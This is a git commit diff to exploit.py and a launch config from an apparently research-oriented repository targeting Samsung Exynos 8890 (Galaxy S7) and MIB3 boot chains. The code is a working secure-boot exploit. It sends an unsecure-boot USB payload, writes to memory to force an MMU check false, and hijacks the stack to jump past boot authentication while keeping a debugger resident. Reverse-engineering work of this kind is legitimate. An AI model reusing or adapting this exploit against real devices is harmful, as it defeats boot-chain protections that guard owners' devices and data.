EljakimHerrewijnen/Samsung_S7
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boots mib3 after BL33. keeps debugger?

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This commit is contained in:
Jonathan Herrewijnen 2024-11-12 20:58:34 +01:00
parent 5bc481f321
commit ef4b266b62
2 changed files with 43 additions and 22 deletions
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4
source/exploit/.vscode/launch.json vendored
View File

@ -28,7 +28,7 @@
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--unsecure-boot"]
"args": ["--unsecure-boot", "--MIB3"]
},
{
"name": "Run debugger boot",
@ -37,7 +37,7 @@
"program": "exploit.py",
"console": "integratedTerminal",
"justMyCode": false,
"args": ["--debugger-boot", "--MIB3"],
"args": ["--debugger-boot", "--MIB3"], //, "--MIB3"
},
{
"name": "Debug current file",

61
source/exploit/exploit.py
View File

@ -161,28 +161,40 @@ class ExynosDevice():
'''
Do a normal boot process, with or without exploit.
'''
bl1 = open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()
bl31 = open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()
bl2 = open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()
bl33 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
if args.MIB3:
bl1 = open("../mib3/boot_partitions/fwbl1_a.bin", "rb").read()
bl31 = open("../mib3/boot_partitions/el3_mon_a.bin", "rb").read()
bl2 = open("../mib3/boot_partitions/bl2_a.bin", "rb").read()
bl33 = open("../mib3/boot_partitions/u-boot_a.bin", "rb").read()
off = bl31.find(b'Built')
bl31 = bl31[:off] + b'Built' + bl31[off+len(b'Built'):]
if exploit:
self.exploit(open("../../dump/exynos-usbdl/payloads/Exynos8890_unsecure_boot_usb.bin", "rb").read())
time.sleep(2)
self.connect_device()
# self.send_normal_stage("/home/eljakim/Source/Samsung_S7/source/S7/g930f_latest/g930f_sboot.bin.1.bin")
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())
self.send_normal_stage(bl1)
# self.send_normal_stage(open("../S7/bl1.bin", "rb").read())
# self.send_normal_stage(open("../../dump/rom.bin.1.bin", "rb").read())
# wait_disconnect()
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
self.send_normal_stage(bl31)
# self.send_normal_stage(open("../S7/bl31.bin", "rb").read())
# wait_disconnect()
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
self.send_normal_stage(bl2)
# self.send_normal_stage(open("../S7/sboot.bin.3.bin", "rb").read())
# wait_disconnect()
time.sleep(2)
self.connect_device()
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
self.send_normal_stage(bl33)
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
pass
@ -757,7 +769,7 @@ class ExynosDevice():
MMU_CHECK = 0x0202a314
if not args.MIB3:
MMU_CHECK = 0x020244e8
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
self.cd.memwrite_region(MMU_CHECK, struct.pack('>I', 0x1f0c00f1)) # Change check to always be false
# DWC3 OTG update mode -> Might be useful at some point?
# self.cd.memwrite_region(0x02021580, struct.pack('>I', 0x00000000))
@ -765,8 +777,10 @@ class ExynosDevice():
# Jump into BL31 and execute it
BL31_POINTER = 0x02024010
if args.MIB3:
BL31_POINTER = 0x020c0000
self.cd.restore_stack_and_jump(BL31_POINTER)
BL31_POINTER = 0x0202a010
self.cd.restore_stack_and_jump(BL31_POINTER) #BL31_RA_PTR
else:
self.cd.restore_stack_and_jump(BL31_POINTER)
# Obligatory reconnect and check of debugger
time.sleep(2)
@ -793,11 +807,6 @@ class ExynosDevice():
self.cd.restore_stack_and_jump(hijacked_fun) # Jumps to function that waits for next boot stage
# In BL2, find string 'APOLLO' and modify it
if args.MIB3:
off = bl2.find(b'APOLLO')
bl2 = bl2[:off] + b'GUPJE' + bl2[off+6:]
# ==== Stage 4 BL2 ====
self.send_normal_stage(bl2)
time.sleep(2)
@ -814,7 +823,7 @@ class ExynosDevice():
print(f'Current EL: {hex(self.cd.arch_dbg.state.CURRENT_EL)}')
# Restore bootflow
print(self.cd.arch_dbg.state.print_ctx())
print(self.cd.arch_dbg.state.print_ctx()) # X29 here determines where the 'authentication' is taking place
BL33_ptr = self.cd.arch_dbg.state.X0
BL33_LR = self.cd.arch_dbg.state.LR
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
@ -827,25 +836,37 @@ class ExynosDevice():
time.sleep(1)
self.connect_device()
self.send_normal_stage(bl33) # Never return/completes
self.connect_device()
self.usb_read(0x200) # GiAs
#t_lr = self.cd.arch_dbg.state.LR
# print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
# off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
# stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
if args.MIB3:
pass
# Change bootmode to SDCARD (allow normal booting, if pressing volume up)
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
if not args.MIB3:
self.cd.memwrite_region(0x8f01dbdc, struct.pack('>I', 0x03030035))
self.cd.memwrite_region(0x8f01dbe0, struct.pack('>I', 0x80f9ff34))
# Move default values into registers
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
# Move default values into registers
self.cd.memwrite_region(0x8f021bac, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bdc, struct.pack('>I', 0x20008052))
self.cd.memwrite_region(0x8f021bbc, struct.pack('>I', 0x20008052))
#self.cd.memwrite_region(0xcf08aa4b, b"RRR")
# Jump into a different function that continues the boot flow (different than BL33_LR)
self.cd.restore_stack_and_jump(0x02024e5c)
BL33_AUTH = 0x02024e5c
if args.MIB3:
BL33_AUTH = 0x2022ad44
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
self.cd.restore_stack_and_jump(0x202ae18)
pass